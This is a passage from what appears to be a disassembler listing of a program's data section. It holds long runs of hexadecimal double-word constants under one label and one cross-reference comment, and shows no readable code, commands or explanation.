		dd 3C1D38BEh, 0F97C9568h, 0B465809Eh, 5AD02147h, 1D692D01h
		dd 63E9F9C6h, 415B0378h, 0A56DE244h, 280C801Ah,	5E460958h
		dd 0A93E5D68h, 0B731A6C7h, 0E9EB3312h, 0D0F6188Ah, 0D58F8F69h
		dd 466C25CDh, 0E7D9912h, 0EF12BED7h, 0E015C9CFh, 247876D1h
		dd 400852FDh, 3AD420B0h, 43F4D58h, 47E26A14h, 1A88FA80h
		dd 24537CF9h, 2F17CE5h,	0DAFEE927h, 0E688D77Eh,	71B80070h
		dd 969DC38h, 0B72FA97h,	45D673B3h, 724B8E75h, 6EE9CFC0h
		dd 50B82D1Bh, 7A3855F2h, 299D5BD4h, 8D2A7221h, 0E015E0F9h
		dd 0B33B5781h, 23EF96A6h, 0EF03693Fh, 316052B9h, 0F48DD238h
		dd 3142F93h, 0D7EEDF26h, 0A029026Ch, 0D4365CE6h, 5F0BD171h
		dd 1F5628Eh, 233370F7h,	5A06520h, 0E91D2B15h, 0EF90B457h
		dd 0FD485573h, 93874B67h, 0FEF89689h, 25EA920Ah, 28CCD730h
		dd 1594F5FCh, 16A0BF01h, 0A320E6F1h, 6360975Dh,	0E916C529h
		dd 0D9EDE2C2h, 0ED555A7Fh, 0D0E6C4F2h, 0B4A4BD0Ah, 2FBA0189h
		dd 307FAF40h, 0F9528E0Dh, 17A14ABFh, 4B02B139h,	585F3D0Eh
		dd 3468A0C8h, 48C254Bh,	3943B2B4h, 573A4E66h, 5F3C563Bh
		dd 8285E26h, 7B271BD2h,	2AE96295h, 0D4998B7Fh, 0BF4665CFh
		dd 3CEB2813h, 0E909558Dh, 79011C65h, 50AB8CACh,	3940F955h
		dd 10A09651h, 341958EAh, 1D814155h, 6781FFB0h, 0D11C94EEh
		dd 67FC3B67h, 914FF581h, 5EB02ADFh, 5D002F7h, 1521AB4Bh
		dd 21EF160h, 0C2E3C550h, 0FC4A92C7h, 0C516FF0Bh, 0E904FE94h
		dd 56C89378h, 5F3309C2h, 83C36645h, 0C6F4A9CFh,	5C66F5D2h
		dd 8EC7E91Ch, 34947F2Dh, 2715F84Dh, 0C5947D56h,	774B2B97h
		dd 1F0B9997h, 1A34F78Ah, 523CBA8h, 17BF0140h, 4CA1EBAh
		dd 1352C25Fh, 0E18E441Ch, 59CCA758h, 0B0F812D5h, 4CF03125h
		dd 0E2E07D07h, 266C1EFh, 0C44B1212h, 0D776095Eh, 98A144F7h
		dd 0A1A44858h, 7C2168C2h, 0E4599999h, 11AA1B47h, 80A2FE65h
		dd 73BADC97h, 655FE9B2h, 4541A475h, 6F58B182h, 782A2B09h
		dd 0F616A183h, 4E2201CCh, 0AADAD073h, 0C74FF164h, 41A32BA0h
		dd 0BDF82AB4h, 2519ADA5h, 0B0D034h, 6A0884BDh, 80F5810Dh
		dd 0F7E90DC4h, 0E6FE2F94h, 0CEF21639h, 2B4339AFh, 5201C7CAh
		dd 0F86ABFBAh, 8EF04270h, 0AFA65E05h, 838BB02h,	1DC2280Ch
		dd 5D186A74h, 2527878Eh, 55C03FA5h, 72389613h, 904E20E9h
		dd 8305B765h, 8BB3FD91h, 0C9E555D3h, 5E77D2AFh,	58209F0h
		dd 0C5C271F6h, 425C8045h, 7D22DF2Dh, 810C9201h,	0F83C83C3h
		dd 0C8565B2Dh, 0B3260630h, 0C6619FA2h, 0BEC1B041h, 7B84B774h
		dd 0F04E38A8h, 5A2CAB4Bh, 6B514D6Bh, 0CF78716h,	58BEFD1Dh
		dd 15E494BDh, 1F5C3868h, 5F0DA078h, 0BEFE5A01h,	30AE8B57h
		dd 75C9E946h, 22C781C1h, 0F7477954h, 0E13A006Fh, 0FCDF2909h
		dd 408A2EFh, 1043791h, 9F75AD47h, 4FD5B0BFh, 25546EEAh
		dd 8EC02EE3h, 174A1568h, 0FF5688Ch, 0E97CE216h,	28A74512h
		dd 44C0FE3h, 50DA5090h,	9FF4C8E6h, 4E010A2Fh, 0A2E7FC0Eh
		dd 1412DD8Bh, 0CDA42257h, 50A85ED8h, 16C7FABFh,	4574DE87h
		dd 62DE46FBh, 0B54F2310h, 0A7AF46C5h, 86F74EE5h, 0D4685504h
		dd 0C378E829h, 0EFB05A44h, 8C21C585h, 7481F99Dh, 79037005h
		dd 12306246h, 0F921A15Ch, 3760FF31h, 0E041B589h, 0CCADE8F1h
		dd 0EF626F9Ch, 54EE7D18h, 170681Dh, 0A6F1FD2Ah,	3808DFB9h
		dd 685100A3h, 5B0A2388h, 0D1F75917h, 0D9B47F16h, 3D2A7EF1h
		dd 3ABB74A0h, 9E14ACCFh, 0F3591A0Bh, 0C6D12743h, 0DFFE5944h
		dd 43BC4B28h, 0D62544B0h, 0EDD14204h, 4BBCE5C1h, 58951405h
		dd 0AD88010Bh, 0D542601Ch, 6F096EBDh, 0E10A8E4Ah, 312BFC25h
		dd 2E06E67Eh, 1013E252h, 0BC7188Ch, 4C465B8Ch, 94EE257h
		dd 2BECFF08h, 0DA9E9A27h, 80ED066Ah, 9427EF37h,	0C7A0E009h
		dd 790EDFE7h, 159CA61h,	0A0D828D1h, 0BC376568h,	4402645Bh
		dd 92B05AE9h, 0F93032Dh, 6A055631h, 5E72D8A8h, 7E7BB0B5h
		dd 6DD10B4Bh, 0D996DDF7h, 4DD6B904h, 0F8A86972h, 4991E103h
		dd 0D9C24B51h, 6811C1FDh, 0FA7B96CFh, 0AC0AC267h, 3C76D830h
		dd 52AA2092h, 0E768FE60h, 9FEE70FBh, 45A560E5h,	116809D2h
		dd 55ADF6F1h, 0ABCAAC13h, 9FE9147Dh, 3E93DF1h, 0E00758B2h
		dd 9D39E938h, 4757DE42h, 0BD558365h, 79F21A90h,	9B0A244Ah
		dd 2C441E06h, 0C2CF4524h, 13682747h, 66D35B08h,	291A93A9h
		dd 895F1654h, 6FA8D47Fh, 471262B4h, 2227FBD9h, 2FC7E83h
		dd 557CEBD5h, 0F8E01709h, 53B10107h, 0FC03D604h, 53ED1280h
		dd 0A9DD2FC5h, 0E79E8ED1h, 0D2F74431h, 71F404A5h, 0CD24B840h
		dd 3E51813Eh, 5C256CBDh, 6625AFDCh, 12296967h, 9561F012h
		dd 20BD00CAh, 1E091B6Bh, 3160C045h, 0DD2C345Eh,	7E015D75h
		dd 17580840h, 0B465E3E9h, 0C6B5416Bh, 60940B15h, 9AFD6190h
		dd 32B7C001h, 20262C45h, 64DC1793h, 0B670AC6Fh,	0BED340A0h
		dd 9C1FDA0Ch, 82603A29h, 0D8973C50h, 0C280161Bh, 499F4B98h
		dd 16BF1878h, 9247BC15h, 5FA9E85Ah, 0CA468100h,	5A4DE94Eh
		dd 6285E66Ch, 595B54BEh, 0F2446486h, 5B15943Dh,	15578CB5h
		dd 44A95AD4h, 0DEF0FF89h, 0A4D59E97h, 0DB03311Bh, 60F22928h
		dd 41C4BC5Eh, 0B816CA54h, 5E2D0310h, 0E9110D28h, 1A9DEB1Dh
		dd 0B0A4925Dh, 50AC5B13h, 8C296F1Fh, 0AD2BE9C6h, 4B64EC25h
		dd 28849C8Eh, 506040BDh, 0BA8858B4h, 0B5515802h, 9F43C080h
		dd 7E09F5A1h, 2DB290B0h, 0A5F4C520h, 5E416E62h,	90E66509h
		dd 1A8BFD4h, 0D1674012h, 11EFD000h, 98212B22h, 185B49Ah
		dd 8A792DBDh, 0C0F7217Ah, 0A4A0172Ch, 212ABCDh,	0E0025EFFh
		dd 0DC866804h, 267E888Ah, 6996571Dh, 0E1D7EDD2h, 0F77AF107h
		dd 37850406h, 29FF0114h, 0FA647B81h, 5E0158D5h,	5F8C6091h
		dd 8C68DD21h, 7883F85Eh, 9B019425h, 7D2C98A2h, 2D5F036h
		dd 0E9E5D15Ah, 0C577EE8Eh, 8CA4A8Eh, 0C3B491Ah,	0DF1D0668h
		dd 359E6090h, 0C6618AC7h, 5A3C41BEh, 78791197h,	81417E2h
		dd 31043201h, 8A2D2448h, 5B330B24h, 705D80Ah, 8F685B02h
		dd 96937116h, 7B26CAFBh, 0C887D14Fh, 0AFB402B9h, 738AF148h
		dd 60DF5510h, 0BCA35D2Dh, 5027F3A0h, 0E83CE04Dh, 854F5E2Ch
		dd 26550293h, 0E7402E2Fh, 82BF5AD3h, 0FE06FAACh, 0B656906h
		dd 0E0BCE90Bh, 78875CEEh, 84DB5BF3h, 0AC8685D3h, 883E087Ch
		dd 0C9FE0BE1h, 0C488010Fh, 0AB68BC3Ch, 2200E830h, 5314970h
		dd 634E009Ch, 511F2D26h, 74EA4BC7h, 4ADB4202h, 8E05D029h
		dd 5011B407h, 0FE598248h
		dd 0BDCE3B09h, 4AB44AEAh, 0A9121627h, 6CEC11h, 0AD1ABD35h
		dd 47D2522h, 0E96DED7Ch, 0BA35D5C0h, 27211FE1h,	0E982077Dh
		dd 66563CE1h, 0E88F1369h, 0ECF18007h, 59CB3B08h, 491F307h
		dd 498BD297h, 0AE978C71h, 2545E14Bh, 0CD414D8Fh, 1C41F422h
		dd 80F14E20h, 0F24B015Eh, 4E6A15A3h, 875B8371h,	6504AD3h
		dd 3304779Ch, 42E96F56h, 881D52ECh, 0E4ECBFEh, 0DD2C7179h
		dd 282B1412h, 8DDCE909h, 220D1EF5h, 0A391AC68h,	3AF76108h
		dd 0BEC7B892h, 7CCB1F33h, 12360F3Fh, 0F2442BD8h, 0C868038Ch
		dd 5921C17Bh, 0BCC8D847h, 0D8DBD3BCh, 525AF135h, 0DC13FA31h
		dd 0A7B8CC3Eh, 0AD6D433Dh, 0BC9AFD01h, 0C6520C09h, 92BD1490h
		dd 909D0013h, 1B4BEF3Ah, 4D7F747h, 0C9C6F418h, 98FB29A6h
		dd 0B39A623Eh, 34F6465Ch, 0DF711F62h, 0C2D69998h, 3DCEF582h
		dd 2D4C542Eh, 0EB87D587h, 4DC3A892h, 30E7B1E7h,	92152877h
		dd 0B040778Dh, 0BFDEE9FAh, 8B55F989h, 0F8F342B8h, 25D77219h
		dd 0AC327C91h, 0E8299EFAh, 0F7165C44h, 89BA5DBFh, 295B62EFh
		dd 5202F4A5h, 31395072h, 8DF35FBh, 0BC707804h, 0C6555B09h
		dd 0AB9860F9h, 0B90A2BB8h, 49A3E5Ch, 3DF715C7h,	0F66C90EEh
		dd 7C4EB01Fh, 814F0CACh, 7F5ACCD4h, 0DDC74874h,	0D3A738FEh
		dd 1FFE302Fh, 6677BB0Ch, 10221D58h, 0C35FE749h,	5DFB2CDh
		dd 7824E8D0h, 0F5E78263h, 606C8AB0h, 0A8BA84ECh, 985FF98Ch
		dd 0C9EF275Ah, 45D5A39Ah, 0F86612CAh, 29EF5B32h, 5CE62A8Dh
		dd 0B450AC4Ah, 53C043F8h, 4B7EB2BBh, 0C6E97317h, 0BC4E74A8h
		dd 35CB19Bh, 0A8D6057Ch, 0AB19B263h, 24E75691h,	0C3782F43h
		dd 2CC8281Eh, 0B711C427h, 64FAB254h, 0FD3EB531h, 270CCE9Fh
		dd 58330C3Ah, 0A8B97204h, 0BCC17A6Ch, 6122194Ch, 0F85B0425h
		dd 1FEFC502h, 96C27D01h, 139E457Dh, 4F47FC84h, 729C2CEFh
		dd 5A88C540h, 0BC18C5E3h, 0E6301C4Ch, 3D09F493h, 0A2C23485h
		dd 0F79D683Ch, 0CF709DDBh, 0C24CD30Bh, 4050D47Ch, 0E79167EAh
		dd 44D7A1h, 2D1271BAh, 8BF05BF5h, 0A03E9EB5h, 0E16AA8B5h
		dd 0B933FC6Fh, 0E291BC3Fh, 0F7F302EBh, 808BB700h, 0E07290EFh
		dd 0F0BFA62Ah, 0F2675A88h, 0CAB28438h, 0AB555C04h, 77179CA2h
		dd 0FBC8AAFCh, 0BD8492ECh, 0A64130E2h, 0C2B052F6h, 69DE0502h
		dd 9470EAAEh, 6666A0E0h, 6B063D2Dh, 1F0910A7h, 6792C955h
		dd 0B84FA368h, 408CA848h, 0F6B55B21h, 0F754C2D3h, 0A5BD24DBh
		dd 5E440CDh, 5A0E13B6h,	4838F34Bh, 60AF4A2Eh, 22F0CB3Eh
		dd 0B1189928h, 0F12E0145h, 0B0128419h, 34C07B54h, 39D27FF3h
		dd 0A52620E9h, 367FA745h, 0E9833FCDh, 0FE0C8792h, 2B5DE67h
		dd 0AE4A77BCh, 870BDF39h, 0E76FE909h, 412E4455h, 0F77B4109h
		dd 30E006C3h, 0E1B85D58h, 0B12674D5h, 570A6953h, 0C981B383h
		dd 2EEA0851h, 0A855E0DBh, 0AFEE5BFAh, 0A7B24027h, 0A546480h
		dd 31A30BC2h, 0A4092FEFh, 2D27CD7Fh, 3E59D652h,	0DC662563h
		dd 413B3A1Ch, 0C26E7E65h, 0D676F478h, 60E4712Dh, 4E32E5F6h
		dd 0D9EEF0FBh, 22974404h, 12AE63E9h, 1A28FE78h,	2574BE39h
		dd 0C01D03FDh, 0F280F8E2h, 9C3798A9h, 59570B08h, 0A4983EFAh
		dd 0E7CA7225h, 71D9A7ABh, 59D7C462h, 0C8BA95BCh, 707EB900h
		dd 0CE094C92h, 20B541F8h, 1BBEE6AEh, 26787B4Eh,	61FE624Ah
		dd 2B75123Eh, 16F5C1B4h, 0C27487A2h, 0C4F2EEB1h, 6035F20Eh
		dd 0D92169BFh, 63A6C85h, 0C943009h, 17C10201h, 0BF8F6474h
		dd 0BF5DD706h, 9FF2D72Ah, 58ACE55Fh, 985D7DBDh,	2D653630h
		dd 0F9DA3E6Dh, 1E750882h, 0E957121Fh, 0BDB4A423h, 0B2086495h
		dd 49DAFEE2h, 0E202E4E1h, 39052F96h, 2A6ED15Dh,	86112549h
		dd 0FBF30F31h, 87E1DB12h, 0E8D37CF8h, 712627C9h, 8AC88F7h
		dd 8C054800h, 9D4787BEh, 9C81BBFAh, 2E4935A3h, 5C6E73B1h
		dd 8E137838h, 5FAC051Dh, 0E5952058h, 4F4FD317h,	5B0089A2h
		dd 69328B2Dh, 0C8282973h, 0E9240705h, 8A608F9h,	65FD6859h
		dd 10C1566Ch, 210FA51Eh, 0B7203F7Dh, 3DE1F5C6h,	0C85AF05Ah
		dd 0B410458h, 1652DCD0h, 0BB259D68h, 0D1E87133h, 8C6B536Ch
		dd 503E02F1h, 73F85EB0h, 0BF97D81Bh, 0F456BFB7h, 44001D91h
		dd 0E8C112A0h, 265E3502h, 0BF8230Eh, 86C6A1FEh,	3740BB5Fh
		dd 555BD1F5h, 0BC91A01Ch, 0C75605Fh, 0C403D9C3h, 0E22A7440h
		dd 0CC8902Dh, 432FE9EBh, 9B0AEA3Fh, 0C83D6A54h,	882C928h
		dd 6B3071F5h, 978644h, 5245CED0h, 15BE052Dh, 11151D7h
		dd 9936A19Bh, 25507B3Fh, 0C5E90B08h, 81C9563Dh,	7A0670CBh
		dd 7A28225h, 7F20A841h,	0F6261468h, 48F75880h, 814FD0D5h
		dd 2A52ADADh, 3E686228h, 56A50502h, 9AEAFEA2h, 1CE0FC09h
		dd 41BCA8F6h, 0A8E27F90h, 124FA996h, 1A34C341h,	0A21072EDh
		dd 0A582C08h, 9969DE42h, 8EE455F0h, 6FBA95EAh, 7D4BFED9h
		dd 70523CB9h, 2E41AB4Eh, 8E77F82Eh, 0FD491FB9h,	465922CBh
		dd 2E822D02h, 8557B192h, 99B94705h, 85F0957Eh, 9F3A2273h
		dd 763BC76h, 6A43347Ah,	68194CD1h, 1C0840FEh, 0E97416C2h
		dd 51DED393h, 284947F0h, 6EE5607Ch, 0B318B09h, 0C0A276D0h
		dd 4FAD146Eh, 2378C09Dh, 0D58283Ch, 6B8400E6h, 0BA5267FCh
		dd 0F904D155h, 0F749E9FDh, 0D735F2AFh, 4426DFFh, 60335A9h
		dd 3C27C110h, 0D4354802h, 0DC020D28h, 0BA6430EEh, 0E80B1BB3h
		dd 0D4EAD169h, 0E9F28247h, 938FAB03h, 0C802F561h, 24CCE87Ch
		dd 5F0212B1h, 7870AA46h, 5B83FC60h, 0E081C925h,	5C815F48h
		dd 0B62E5731h, 6E2051F2h, 91D3E0BCh, 0BCC96B26h, 0D9E44119h
		dd 77E9BABFh, 21A7E7D1h, 84B97E5Ch, 8F6BBBE4h, 58CA28BBh
		dd 94C5B95h, 1983D0F7h,	8E015705h, 67F83022h, 1E30C789h
		dd 591B405Fh, 7111565Ch, 9D640F83h, 0D6FEE603h,	0F107524Bh
		dd 76EE6733h, 5817C49Ch, 868CB784h, 10C22568h, 0E9471373h
		dd 66DB22B9h, 9F7661ADh, 7B1E9D6Bh, 0EE8B753h, 45721B1h
		dd 207BF0EFh, 0E0102B6Bh, 809B33E3h, 6C4B4068h,	5F59008Ch
		dd 0E012E21Ah, 0B7FA4DE9h, 8387797Bh, 0BEE301EAh, 0C63301B8h
		dd 123C103Dh, 77697B59h, 0A02EC3DDh, 0E49DC701h, 0E2E5F9A1h
		dd 4C5BB43Eh, 6EB36812h, 0BF3B0BEBh, 0C6804FA1h, 6734E011h
		dd 5A86BE1h, 0E93313A6h, 14664BBDh, 0EA5E5B42h,	0B9036E20h
		dd 7CC463AFh, 0FA98D881h, 8C18587Bh, 38CFC158h,	0F710AA9h
		dd 0F9AFB062h, 0C7948908h, 0A15CC9F4h, 0C000C9BCh, 807305ECh
		dd 58E5C0FBh
dword_4F0044	dd 661AE19Fh, 257202Bh,	14F0F030h, 0BEA23EF1h, 0DDAFE9B0h
					; DATA XREF: ___:00437A5Co
		dd 4BB85ED7h, 649B0492h, 0D8F700B6h, 3E828135h,	962DB98Bh
		dd 69D4E489h, 563A02C9h, 0E9B8D568h, 7197EF40h,	37509BB3h
		dd 6BC2AEE9h, 5496465Ah, 201DA0CAh, 0F980E3E6h,	0F397C345h
		dd 0D3D52081h, 0E401EB12h, 61763C70h, 7F5CCAAh,	8950595Fh
		dd 888F2BF8h, 0C05EE13h, 0A7AAC99Bh, 0F1E027E3h, 0FF6C491Dh
		dd 8FC0E4F8h, 0C96554BBh, 0BF570019h, 4FBE3B24h, 319E7C1h
		dd 89AED7F7h, 2061DBA4h, 41FC95EAh, 864602CAh, 0E0BF04C7h
		dd 0C09C4534h, 0D75BD9DCh, 0C2291D25h, 5808042Ch, 0E94620AFh
		dd 6A9ACC44h, 6806E209h, 20E461Ch, 0DF7DE0BDh, 14408109h
		dd 0F0AA442h, 0EF45DDF7h, 0C4EB9509h, 0DD419589h, 0D8B7113Dh
		dd 257A2437h, 27E8AAB8h, 5925E845h, 81AF8C10h, 4B3BF842h
		dd 2D252009h, 0ED2612B6h, 0AC42EE6Dh, 667B7FD3h, 5C5DE80Bh
		dd 0A0B87A76h, 3EC0BCF0h, 283AF305h, 76E7A20Fh,	1EFD2587h
		dd 0E681771h, 73656136h, 0BDA7A11h, 0D7685804h,	1631AF45h
		dd 477309E6h, 9AB95105h, 0BA658417h, 0D3512CA2h, 0FA11C479h
		dd 0C7591052h, 1EEC1C50h, 0D62F6D56h, 297A81D2h, 0B044164Ch
		dd 0EB165574h, 50C1B66Ah, 16B75FACh, 6CE91366h,	0EB5FB481h
		dd 0C01E720Bh, 0FA627F40h, 0DE870802h, 74024D5Ch, 0D757E563h
		dd 0E8EFAD68h, 0E8B77879h, 13FECE09h, 0BF2E5F65h, 37F61E47h
		dd 51181470h, 16BA27E9h, 64C1D264h, 1E844EC9h, 68E48D40h
		dd 322B72E9h, 0E7A54F54h, 7609D1D6h, 49465C44h,	0AC274EFAh
		dd 420871C8h, 90E1E289h, 5E4D0286h, 0DACD0158h,	0D9163169h
		dd 79FBD8F5h, 0F5B0D64Ah, 0D79DAA8Eh, 0C756B229h, 224F9430h
		dd 0E90D09F1h, 5EBAB007h, 2AD2A72Bh, 0B774F8B7h, 79609371h
		dd 0B8FDE2DBh, 78F70B6Dh, 0A8FF5980h, 5F170843h, 0CAE9E442h
		dd 82AEF170h, 0EFDB6A6h, 0F7BC1656h, 0FDF25D5Eh, 4ED6E392h
		dd 4A5D2AFEh, 6CC1E7B2h, 402D4F66h, 1247EBCDh, 9DF3EBA0h
		dd 0A8A2F21Fh, 641DE302h, 8154FECDh, 10FC144h, 840028D9h
		dd 89B3D46Fh, 0BCC54E70h, 400189CBh, 48CF210Fh,	5C072B59h
		dd 0E77D396Bh, 87B25AEAh, 3BA0ED80h, 0EB0FDB0Eh, 36DBBA1Ch
		dd 6A4E127Ch, 0C754DC2Fh, 0E9694040h, 5E39A138h, 313233EEh
		dd 0DF0EB110h, 68FB0A78h, 0C0E7529Eh, 17886F6Bh, 95F1EC7h
		dd 0EFCCD52Bh, 8BD71E30h, 300162CAh, 3C0C4825h,	1F199454h
		dd 93A10CE9h, 0B5BEA3D8h, 0C6D350E8h, 12E2C288h, 4C046Dh
		dd 2B1C511Bh, 7EEAE92Ah, 0C72F4BBAh, 0EF5E4023h, 30F48001h
		dd 5DE9FD12h, 0C559494Eh, 51A77D89h, 0C025327Bh, 0E9804B22h
		dd 11D93215h, 2CD0435Bh, 2D6F5CC3h, 27707B7Eh, 6ADAA7A1h
		dd 590ACDCAh, 16D352B3h, 0A283BF58h, 7E10304Eh,	0D3287D06h
		dd 5AA8D5A3h, 2B8762Ch,	9C29CE40h, 0F5A92D41h, 0B1EEB4D5h
		dd 0C913C53Ch, 77493E01h, 0F7B1755h, 6956E883h,	0F4F33F1Bh
		dd 0E2B9D612h, 0BB68B0A3h, 0AC6EE17Fh, 81FEA584h, 2ECA11Fh
		dd 4CD24C58h, 43253C52h, 582086C6h, 12504BC6h, 3A41014Fh
		dd 40218039h, 7FC6CA83h, 9316DE4Eh, 0DF74FBh, 0B0DBB18Dh
		dd 7827E9B6h, 27AC8D2h,	1DA42968h, 46D90B36h, 0DEF6F64Eh
		dd 0B4AD754Fh, 87D8899Eh, 61505C5Eh, 22BB802Dh,	1EAB1A02h
		dd 0E156D3F7h, 97EF0BAh, 45F75A62h, 3424B124h, 84040466h
		dd 27E9D1DFh, 589E4D10h, 0F4D20491h, 1BBC52Ch, 0E9D821B3h
		dd 0FDD76BDBh, 44B90462h, 80652075h, 92C39D3Eh,	6FE8B8F7h
		dd 0EABBA0A4h, 2F681C40h, 3BC751FEh, 868019A4h,	5E0E6A4Eh
		dd 0C44771E9h, 0FEC3301Ch, 27D72D99h, 0B15C5D6Fh, 5AF91209h
		dd 67730B1Eh, 0C07F3B2Fh, 26665E13h, 3AC564Ch, 70DD342Bh
		dd 86B8180Fh, 12BEF27Fh, 0EC16AE09h, 7B584109h,	0A7620410h
		dd 3BC7B639h, 80E0DDD7h, 2D8C5BFBh, 0A0ED5BC1h,	660E7C8Eh
		dd 4BE9694Bh, 0C0B59A5Ch, 95C6621Ch, 75D975BBh,	28397AEDh
		dd 0CF06E26Fh, 0FB6F454h, 38B06857h, 162D02C0h,	92C1A11h
		dd 16DFC711h, 2DFABD62h, 0BE49309Dh, 0FD2009BFh, 0C8D42D6Bh
		dd 0D2A90593h, 0EC22E912h, 0D3680AA0h, 1AA87D6Ah, 3955FD0Bh
		dd 40F57C33h, 0E599B096h, 0E7B0C39Dh, 4FE90251h, 3BA3A24h
		dd 382C62CCh, 7A8E281h,	8B90417Ch, 1B2E9676h, 37027533h
		dd 0F5796F1Fh, 7E9227C8h, 5982599Ch, 5FD95571h,	0CF42E222h
		dd 1EAC725Fh, 0D7F328A0h, 5F07A0A6h, 461A30BFh,	54C21B69h
		dd 0A1F8E259h, 0CF2DE948h, 317D2D5h, 40474FEAh,	0AA80C4BFh
		dd 0E5BD0125h, 0BD099286h, 2C4A48C3h, 4DC5C271h, 45839E0h
		dd 2F3144B9h, 3FE5AFA3h, 7F4E742h, 0AA0365C0h, 0F180FFC0h
		dd 4D8EB73Bh, 416CDEDCh, 0AEE9F2F4h, 42E835Bh, 7C312C92h
		dd 958D248Dh, 506F4025h, 6CB61F53h, 0C87D940Bh,	43F20Bh
		dd 0A7253A78h, 680B7103h, 749352ECh, 43077A02h,	83827D2Bh
		dd 0F7279744h, 0E6053F73h, 0B79BFACCh, 0DD743A8Bh, 46C9B3C2h
		dd 0F8574A72h, 0C789C48Dh, 68C247ACh, 4CDF42B2h, 0FEE927BDh
		dd 0A67E618Bh, 15154CD3h, 1CB6C110h, 7709902Dh,	827BD87Fh
		dd 5B967E07h, 6EB745C0h, 436721FDh, 0E1B02CB3h,	762D3D62h
		dd 798434Bh, 656AC41Eh,	0CC6C8E44h, 490B0568h, 0F22CE25Ah
		dd 0C5472058h, 701B47A0h, 0C38AD30h, 61F24FFEh,	8CE9F149h
		dd 0DDF36AFAh, 49AD6CC5h, 0A084DEB2h, 0C48DBC86h, 8DBB47B8h
		dd 2E88E5BCh, 0D8BA3B12h, 45A05F4Ah, 8612224Ah,	39BE5D6Fh
		dd 0ECBD8BFEh, 0CA15F4ACh, 0B6C5A5B2h, 9EC6E986h, 0B7029525h
		dd 8801FF91h, 5AEC8754h, 4FDC9D5Bh, 0C9A1D4EBh,	0B4F1C77Fh
		dd 0D4F6FF1Bh, 79A92D02h, 425538A7h, 5E0704CAh,	0E92230BEh
		dd 0CE9DB5BDh, 9420F622h, 5AA3243Ah, 0C4E575CAh, 0BAE0132Ch
		dd 165D4815h, 0C8DAF74Ah, 4726F998h, 2D0ED53Ch,	59131CE6h
		dd 74E76AEh, 0EB2042B0h, 885116B6h, 4FC004C5h, 250DA7DFh
		dd 42527B54h, 70D03EE9h, 0D8CFBF0Bh, 0F441D5D5h, 6E52654Eh
		dd 0A32A71B1h, 7BA8D692h, 71B40292h, 24406C3Eh,	55828E9Ch
		dd 5AFF582h, 0C3CB2902h, 6CCFF2EBh, 4D822064h, 4AAE6812h
		dd 59FD29EEh, 0AEF22BEDh, 457667C9h, 942DA888h,	0E985BA34h
		dd 30FAF184h, 9DB00813h, 62F6E7Bh, 9C1994DFh, 0E35D65F9h
		dd 78E65EC1h, 78301345h, 9CE97901h, 0EB801EDh, 30735B1Dh
		dd 0A0B7136Bh, 6561D87Dh, 1B050968h, 78827D43h,	7882DC8h
		dd 130E908Dh, 6EA0D2F6h, 0DA082D20h, 0A1E9E823h, 0AD7FCC96h
		dd 20B9565Ch, 4D72B78Ah, 6A2F7071h, 0C80C127h, 0B7570664h
		dd 0C1AD6A76h, 0FEABDF7h, 0A2F74C89h, 0DD04C510h, 0B809E14Dh
		dd 0B19450Ah, 6C7FB42Dh, 0B7AACFA7h, 3F83005h, 38E9525Dh
		dd 4B68431Eh, 5845003Bh, 1E34D82Dh, 92A0BC36h, 3CC7FB8Eh
		dd 84EAE5CBh, 0FA79F168h, 0CB120D9Ah, 7238BE99h, 56EF09BDh
		dd 8758B933h, 69805F2Dh, 8F233C6Bh, 0B3543F00h,	98BD5565h
		dd 70FE022Dh, 9304D0CBh, 1C16B82Ch, 0C8E94545h,	8E4BFB14h
		dd 3D593858h, 66B980F1h, 4F68670Bh, 62E67931h, 0E764CB89h
		dd 0B80EC4Bh, 7C0C4B7h,	0C78002EFh, 99C230B1h, 629F70E9h
		dd 746C745Dh, 0E46B6CB0h, 7AA8F835h, 9FB67EF8h,	0FDEBCF59h
		dd 0A1DDD9A9h, 586468DAh, 0C490F32Bh, 91D427E9h, 0D666F3AFh
		dd 6DCB80B2h, 0ACBDD6A0h, 6201EE72h, 74CDBE56h,	0B07A6802h
		dd 0B49A80AEh, 55D07EC9h
		dd 8142B449h, 0C168553Dh, 0A83B6433h, 198A9E6Eh, 32C0FC5Dh
		dd 775BB6Ch, 791BBF57h,	2C56C9D6h, 739EF825h, 296B16A7h
		dd 3298F4EAh, 0B3E25B5Bh, 2202137Ch, 1615340h, 8810F5B5h
		dd 52DB202Eh, 0BE013B9Bh, 739F35BAh, 2977C02Bh,	0E91755D0h
		dd 30BEEE1Bh, 63371D70h, 5B9D09Fh, 7F722983h, 9CD1AF40h
		dd 92424807h, 15205D0h,	7A01C38Eh, 0C2A9F00Fh, 4785CDA8h
		dd 0C829D283h, 0B8F10119h, 2ECF0432h, 0EC5E3C7Dh, 0FEFEDF7Eh
		dd 0AC9C1E90h, 0EE34D680h, 0FCDD291Eh, 0B4D94FDBh, 5213D3C6h
		dd 470272B2h, 0FE094168h, 3018621Ah, 8340214Ch,	3B89F56h
		dd 636513E9h, 0A800D73Bh, 7C2373C7h, 17029C0Ch,	0D18AF553h
		dd 0ADD9BBE2h, 3B63187Ah, 61BC280Dh, 62C47097h,	82D3307Fh
		dd 76295D09h, 8C5D6757h, 0C85157A0h, 0A5607DEEh, 0B368560Eh
		dd 5F6C3074h, 4106E6B6h, 462AE302h, 0D7F9F8E9h,	7A50B068h
		dd 7D59B9Fh, 5B515306h,	15603A59h, 0BF7ACC6Fh, 0BB534B30h
		dd 0C903660Bh, 4F485532h, 43CD828h, 5F69B4B6h, 0D0FA6CC3h
		dd 0B209E662h, 0A0552097h, 4AF6BB00h, 0DD890764h, 85294E5Bh
		dd 4F20AB2Eh, 0C0CED0E9h, 516FBA5Ah, 0FEA061B3h, 12280A4Dh
		dd 0C409F773h, 1F694Bh,	8C48AB28h, 0BF2B217h, 425DEA09h
		dd 530B4483h, 0CDD86AC2h, 442C68F6h, 58D1CD79h,	1385F63Fh
		dd 8DF254FAh, 8E575086h, 22CB8A50h, 5DE58100h, 0E91F856Dh
		dd 5E2F9296h, 0C784B358h, 0EB19F3E9h, 0A632F0D9h, 0FEEEC3Bh
		dd 0F6DAB9A0h, 46A4EB81h, 8A8D6087h, 4AF92445h,	4C78207Bh
		dd 3A584094h, 0EF261049h, 5E62C7Fh, 0EE8706A2h,	0DA800645h
		dd 0B22D1B35h, 60990C02h, 0D2780005h, 0E9F3292Ch, 40CCA76Ch
		dd 13F52E57h, 0F420084Eh, 4501F3A2h, 0E926A94Ah, 2023127Eh
		dd 68189258h, 0E5CFCFD4h, 4392111Eh, 8C57CD2h, 0AAA801EBh
		dd 7AFBADBDh, 902D0500h, 2666B25Bh, 1003E829h, 0D6727F8Fh
